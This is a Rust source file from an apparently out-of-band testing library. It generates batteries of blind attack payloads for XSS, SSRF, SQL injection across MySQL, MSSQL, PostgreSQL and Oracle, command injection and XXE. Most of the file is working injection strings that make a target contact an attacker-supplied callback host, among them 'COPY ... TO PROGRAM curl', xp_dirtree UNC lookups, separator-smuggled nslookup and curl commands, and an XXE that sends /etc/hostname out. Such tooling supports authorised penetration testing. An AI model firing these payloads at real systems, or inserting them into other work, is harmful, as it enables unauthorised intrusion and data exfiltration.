interactsh 0.2.1

Async Rust client for polling out-of-band interaction servers.
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
//! Blind-vulnerability payload helpers parameterized by an
//! out-of-band callback URL or DNS name.
//!
//! Each helper returns a [`Vec<String>`] of payload variants suitable
//! for blasting through wafrift's mutation pipeline / scald's injection
//! point inventory: a single payload class (blind XSS, blind SSRF,
//! etc.) expands into many on-the-wire forms so a single WAF / filter
//! / context mismatch doesn't blind the whole confirmation step.
//!
//! ## Why this lives in interactsh
//!
//! The helpers are intentionally **OOB-server-agnostic**: every
//! template takes a `callback_url` / `callback_dns` parameter rather
//! than holding a [`crate::InteractshClient`] reference. The same
//! batteries therefore work with:
//!
//! - interactsh (`callback_url = client.generate_url(...).url`)
//! - Burp Collaborator
//! - self-hosted DNS catchers
//! - benchmark/test mock catchers
//!
//! Returning owned `Vec<String>`s rather than borrowed views keeps the
//! API trivially `Send`-friendly: scanners can shove a battery onto a
//! `tokio::spawn`'d task without lifetime gymnastics.
//!
//! ## Variant count
//!
//! Every battery is deliberately at least 5 variants. That number is
//! the empirical minimum where a single WAF / parser quirk (case
//! folding, attribute boundary, comment-style preference, URL-encoding
//! depth) doesn't silently shut the whole class out: a single template
//! has 1× the variance of a 5-template battery, so a battery's *worst*
//! case (every variant blocked) is still rarer than a single template
//! being blocked.

use std::collections::BTreeSet;

/// Returns a battery of blind XSS payload variants that all fire a
/// request to `callback_url`.
///
/// Covers `<script>`, `<img onerror=>`, `<svg onload=>`, `<iframe>`,
/// `<object data=>`, `<video>`, javascript-protocol `<a href=>`, and
/// `<input onfocus autofocus>` — the eight events that survive most
/// HTML sanitizers AND most modern browser default-deny lists.
///
/// # Parameters
///
/// - `callback_url`: Absolute URL the embedded script / asset
///   should request. Typically `interactsh::InteractshClient::generate_url(...).url`
///   wrapped in `http://` / `https://`.
///
/// # Returns
///
/// Returns at least 8 deduped payload strings.
#[must_use]
pub fn blind_xss_payloads(callback_url: &str) -> Vec<String> {
    let mut out: BTreeSet<String> = BTreeSet::new();
    out.insert(format!("<script src=\"{callback_url}\"></script>"));
    out.insert(format!("<script>fetch('{callback_url}')</script>"));
    out.insert(format!("<img src=x onerror=\"fetch('{callback_url}')\">"));
    out.insert(format!("<svg/onload=fetch('{callback_url}')>"));
    out.insert(format!(
        "<iframe src=\"javascript:fetch('{callback_url}')\"></iframe>"
    ));
    out.insert(format!("<object data=\"{callback_url}\"></object>"));
    out.insert(format!(
        "<video><source onerror=\"fetch('{callback_url}')\"></video>"
    ));
    out.insert(format!(
        "<input autofocus onfocus=\"fetch('{callback_url}')\">"
    ));
    // Bonus: encoded variant for filters that strip the literal '<script'
    out.insert(format!(
        "<a href=\"javascript:fetch('{callback_url}')\">x</a>"
    ));
    out.into_iter().collect()
}

/// Returns a battery of blind SSRF payload variants pointing at
/// `callback_url`.
///
/// Covers raw URL, URL inside JSON `{"url":...}`, URL inside form
/// body, URL with `redirect_uri=` / `next=` parameter wrappers, and
/// gopher-protocol upgrade. The `gopher://` and `dict://` variants
/// catch curl-based fetchers that the WAF only filters on `http://`.
#[must_use]
pub fn blind_ssrf_payloads(callback_url: &str) -> Vec<String> {
    let mut out: BTreeSet<String> = BTreeSet::new();
    out.insert(callback_url.to_string());
    out.insert(format!("{{\"url\": \"{callback_url}\"}}"));
    out.insert(format!("redirect_uri={callback_url}"));
    out.insert(format!("next={callback_url}"));
    out.insert(format!("url={callback_url}"));
    // gopher:// upgrades to bare TCP via curl; reaches Redis / memcached
    // / mailman setups that an http:// fetch wouldn't.
    out.insert(callback_url.replacen("http://", "gopher://", 1));
    out.insert(callback_url.replacen("http://", "dict://", 1));
    // file://-style — confirms the fetcher allows file scheme (RCE pivot).
    out.insert(callback_url.replacen("http://", "file://", 1));
    out.into_iter().collect()
}

/// SQL dialect identifier for [`blind_sqli_payloads`].
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
#[non_exhaustive]
pub enum SqliDialect {
    /// MySQL / MariaDB — `LOAD_FILE('\\\\host\\share')` SMB exfil.
    MySql,
    /// MSSQL — `xp_dirtree '\\\\host\\share'` UNC path resolution.
    MsSql,
    /// PostgreSQL — `COPY ... FROM PROGRAM 'curl URL'`.
    Postgres,
    /// Oracle — `UTL_HTTP.request('http://host/')`.
    Oracle,
}

/// Returns a battery of blind SQLi payload variants that exfiltrate
/// over the network for `dialect`.
///
/// `callback_url` should be the bare DNS / host (no scheme) for
/// SMB/UNC-style payloads (MySQL `LOAD_FILE`, MSSQL `xp_dirtree`), or
/// the full URL for `UTL_HTTP` / `COPY PROGRAM` payloads. Each helper
/// embeds it correctly for the dialect.
#[must_use]
pub fn blind_sqli_payloads(callback_url: &str, dialect: SqliDialect) -> Vec<String> {
    let mut out: BTreeSet<String> = BTreeSet::new();
    match dialect {
        SqliDialect::MySql => {
            // SMB / UNC exfil: server resolves the UNC and queries DNS.
            out.insert(format!("' UNION SELECT LOAD_FILE('\\\\\\\\{callback_url}\\\\a') -- "));
            out.insert(format!(
                "1 AND (SELECT LOAD_FILE('\\\\\\\\{callback_url}\\\\a')) -- "
            ));
            // Stacked query DNS via SMB.
            out.insert(format!(
                "1; SELECT LOAD_FILE(CONCAT('\\\\\\\\', '{callback_url}', '\\\\a')) -- "
            ));
            // sleep + side channel for time-blind confirmation.
            out.insert(format!(
                "' UNION SELECT IF(1=1, LOAD_FILE('\\\\\\\\{callback_url}\\\\a'), 1) -- "
            ));
            out.insert(format!(
                "' AND ASCII(SUBSTRING((SELECT LOAD_FILE('\\\\\\\\{callback_url}\\\\a')),1,1))=0 -- "
            ));
        }
        SqliDialect::MsSql => {
            out.insert(format!("'; EXEC xp_dirtree '\\\\{callback_url}\\a' -- "));
            out.insert(format!(
                "'; EXEC master..xp_fileexist '\\\\{callback_url}\\a' -- "
            ));
            out.insert(format!(
                "'; EXEC master..xp_subdirs '\\\\{callback_url}\\' -- "
            ));
            out.insert(format!(
                "'; DECLARE @x VARCHAR(255); SET @x = '\\\\{callback_url}\\a'; EXEC xp_dirtree @x -- "
            ));
            out.insert(format!(
                "' UNION SELECT * FROM OPENROWSET('SQLOLEDB', '\\\\{callback_url}\\share';'sa';'pwd', 'SELECT 1') -- "
            ));
        }
        SqliDialect::Postgres => {
            out.insert(format!(
                "'; COPY (SELECT '') TO PROGRAM 'curl {callback_url}' -- "
            ));
            out.insert(format!(
                "'; COPY (SELECT '') TO PROGRAM 'wget {callback_url}' -- "
            ));
            out.insert(format!(
                "'; CREATE TABLE oob(t text); COPY oob FROM PROGRAM 'curl {callback_url}' -- "
            ));
            out.insert(format!(
                "'; DO $$ BEGIN PERFORM dblink_connect('host={callback_url}'); END $$ -- "
            ));
            out.insert(format!(
                "'; SELECT pg_read_file('\\\\{callback_url}\\a') -- "
            ));
        }
        SqliDialect::Oracle => {
            out.insert(format!(
                "' || UTL_HTTP.request('{callback_url}') || '"
            ));
            out.insert(format!(
                "' || (SELECT UTL_HTTP.request('{callback_url}') FROM DUAL) || '"
            ));
            out.insert(format!(
                "' || DBMS_LDAP.init('{callback_url}',80) || '"
            ));
            out.insert(format!(
                "' || (SELECT HTTPURITYPE('{callback_url}').getcontent() FROM DUAL) || '"
            ));
            out.insert(format!(
                "' || UTL_INADDR.get_host_address('{callback_url}') || '"
            ));
        }
    }
    out.into_iter().collect()
}

/// Returns a battery of blind command-injection payload variants
/// that perform a DNS lookup or HTTP request to `callback_dns`.
///
/// Covers `nslookup`, `dig`, `curl`, `wget`, `ping`, and PowerShell
/// `Resolve-DnsName` so both Unix and Windows shells trigger.
/// Variants include separators (`;`, `&`, `|`, backtick, `$()`) so a
/// filter rejecting one separator is bypassed by another.
#[must_use]
pub fn blind_cmdi_payloads(callback_dns: &str) -> Vec<String> {
    let mut out: BTreeSet<String> = BTreeSet::new();
    // Unix: nslookup, dig, curl, wget with various separators.
    out.insert(format!("; nslookup {callback_dns}"));
    out.insert(format!("&& nslookup {callback_dns}"));
    out.insert(format!("| nslookup {callback_dns}"));
    out.insert(format!("`nslookup {callback_dns}`"));
    out.insert(format!("$(nslookup {callback_dns})"));
    out.insert(format!("; dig {callback_dns}"));
    out.insert(format!("; curl http://{callback_dns}"));
    out.insert(format!("; wget http://{callback_dns}"));
    out.insert(format!("; ping -c 1 {callback_dns}"));
    // Windows: PowerShell + ping with appropriate quoting.
    out.insert(format!("& powershell -c \"Resolve-DnsName {callback_dns}\""));
    out.insert(format!("& ping -n 1 {callback_dns}"));
    // Anti-filter: embed DNS in a $() with extra noise.
    out.insert(format!("`{{nslookup,{callback_dns}}}`"));
    out.into_iter().collect()
}

/// Returns a battery of blind XXE payload variants that exfiltrate
/// via DNS / HTTP to `callback_url`.
///
/// Each payload is a complete XML document — drop into a request
/// body where `Content-Type: application/xml` is accepted.
/// Variants cover inline DTD, parameter-entity OOB, blind error-based
/// (server's parser error message includes the entity expansion), and
/// SVG-wrapped XXE.
#[must_use]
pub fn blind_xxe_payloads(callback_url: &str) -> Vec<String> {
    let mut out: BTreeSet<String> = BTreeSet::new();
    out.insert(format!(
        "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"{callback_url}\">]><foo>&xxe;</foo>"
    ));
    // Parameter-entity OOB chain (the classic blind XXE recipe).
    out.insert(format!(
        "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM \"{callback_url}\"> %xxe;]><foo/>"
    ));
    // Error-based blind XXE (Java parsers leak the entity in the error).
    out.insert(format!(
        "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY % file SYSTEM \"file:///etc/hostname\"><!ENTITY % oob \"<!ENTITY &#x25; payload SYSTEM '{callback_url}?x=%file;'>\"> %oob; %payload;]><foo/>"
    ));
    // SVG wrapper (uploaded as image, server-side parsed).
    out.insert(format!(
        "<?xml version=\"1.0\"?><!DOCTYPE svg [<!ENTITY xxe SYSTEM \"{callback_url}\">]><svg xmlns=\"http://www.w3.org/2000/svg\"><text>&xxe;</text></svg>"
    ));
    // SOAP envelope for soap endpoints.
    out.insert(format!(
        "<?xml version=\"1.0\"?><!DOCTYPE soap:Envelope [<!ENTITY xxe SYSTEM \"{callback_url}\">]><soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Body>&xxe;</soap:Body></soap:Envelope>"
    ));
    out.into_iter().collect()
}

#[cfg(test)]
mod tests {
    use super::*;

    fn assert_all_contain(payloads: &[String], needle: &str) {
        for (i, p) in payloads.iter().enumerate() {
            assert!(
                p.contains(needle),
                "payload {i} '{p}' missing '{needle}'"
            );
        }
    }

    fn assert_dedup(payloads: &[String]) {
        let set: BTreeSet<&String> = payloads.iter().collect();
        assert_eq!(set.len(), payloads.len(), "battery contains duplicates");
    }

    #[test]
    fn blind_xss_battery_meets_min_variant_count_and_carries_callback() {
        let p = blind_xss_payloads("http://oob.test/x");
        assert!(p.len() >= 8);
        assert_all_contain(&p, "http://oob.test/x");
        assert_dedup(&p);
    }

    #[test]
    fn blind_xss_covers_distinct_tag_surfaces() {
        let p = blind_xss_payloads("http://oob.test/x");
        let surfaces = ["<script", "<img", "<svg", "<iframe", "<object", "<video"];
        for surface in surfaces {
            assert!(
                p.iter().any(|s| s.contains(surface)),
                "XSS battery missing surface {surface}"
            );
        }
    }

    #[test]
    fn blind_ssrf_battery_includes_scheme_pivots() {
        let p = blind_ssrf_payloads("http://oob.test/x");
        assert!(p.iter().any(|s| s.starts_with("gopher://")));
        assert!(p.iter().any(|s| s.starts_with("dict://")));
        assert!(p.iter().any(|s| s.starts_with("file://")));
        assert!(p.iter().any(|s| s.contains("redirect_uri=")));
        assert!(p.iter().any(|s| s.contains("\"url\"")));
        assert_dedup(&p);
    }

    #[test]
    fn blind_sqli_mysql_uses_load_file_and_unc() {
        let p = blind_sqli_payloads("oob.test", SqliDialect::MySql);
        assert!(p.len() >= 5);
        assert_all_contain(&p, "oob.test");
        for s in &p {
            assert!(
                s.contains("LOAD_FILE") || s.contains("ASCII"),
                "MySQL variant missing LOAD_FILE / ASCII: {s}"
            );
        }
        assert_dedup(&p);
    }

    #[test]
    fn blind_sqli_mssql_uses_xp_dirtree_or_openrowset() {
        let p = blind_sqli_payloads("oob.test", SqliDialect::MsSql);
        assert!(p.len() >= 5);
        for s in &p {
            assert!(
                s.contains("xp_dirtree")
                    || s.contains("xp_fileexist")
                    || s.contains("xp_subdirs")
                    || s.contains("OPENROWSET"),
                "MSSQL variant missing OOB primitive: {s}"
            );
        }
        assert_dedup(&p);
    }

    #[test]
    fn blind_sqli_postgres_uses_copy_program_or_dblink() {
        let p = blind_sqli_payloads("http://oob.test/", SqliDialect::Postgres);
        assert!(p.len() >= 5);
        for s in &p {
            assert!(
                s.contains("COPY")
                    || s.contains("dblink_connect")
                    || s.contains("pg_read_file"),
                "Postgres variant missing OOB primitive: {s}"
            );
        }
        assert_dedup(&p);
    }

    #[test]
    fn blind_sqli_oracle_uses_utl_http_or_dbms_ldap() {
        let p = blind_sqli_payloads("http://oob.test/", SqliDialect::Oracle);
        assert!(p.len() >= 5);
        for s in &p {
            assert!(
                s.contains("UTL_HTTP")
                    || s.contains("DBMS_LDAP")
                    || s.contains("HTTPURITYPE")
                    || s.contains("UTL_INADDR"),
                "Oracle variant missing OOB primitive: {s}"
            );
        }
        assert_dedup(&p);
    }

    #[test]
    fn blind_cmdi_covers_unix_and_windows_separators() {
        let p = blind_cmdi_payloads("oob.test");
        assert!(p.len() >= 10);
        // Unix separators
        assert!(p.iter().any(|s| s.starts_with(";")));
        assert!(p.iter().any(|s| s.starts_with("&&")));
        assert!(p.iter().any(|s| s.starts_with("|")));
        // Subshell forms
        assert!(p.iter().any(|s| s.starts_with('`')));
        assert!(p.iter().any(|s| s.starts_with("$(")));
        // Windows
        assert!(p.iter().any(|s| s.contains("powershell")));
        assert_all_contain(&p, "oob.test");
        assert_dedup(&p);
    }

    #[test]
    fn blind_xxe_includes_parameter_entity_chain() {
        let p = blind_xxe_payloads("http://oob.test/");
        assert!(p.len() >= 5);
        assert_all_contain(&p, "http://oob.test/");
        // Param-entity chain is the canonical blind XXE form.
        assert!(p.iter().any(|s| s.contains("<!ENTITY %")));
        // SVG wrapper (image-upload context).
        assert!(p.iter().any(|s| s.contains("<svg")));
        // SOAP wrapper.
        assert!(p.iter().any(|s| s.contains("soap:Envelope")));
        assert_dedup(&p);
    }

    #[test]
    fn callback_url_with_special_chars_is_embedded_verbatim() {
        // bugcrowd / interactsh URLs often have query strings &
        // base64 nonces. Verify we don't accidentally escape them
        // (the OOB server expects the bytes verbatim for correlation).
        let url = "http://abc-def.oast.fun/?id=xyz&foo=bar";
        let p = blind_xss_payloads(url);
        assert_all_contain(&p, url);
    }
}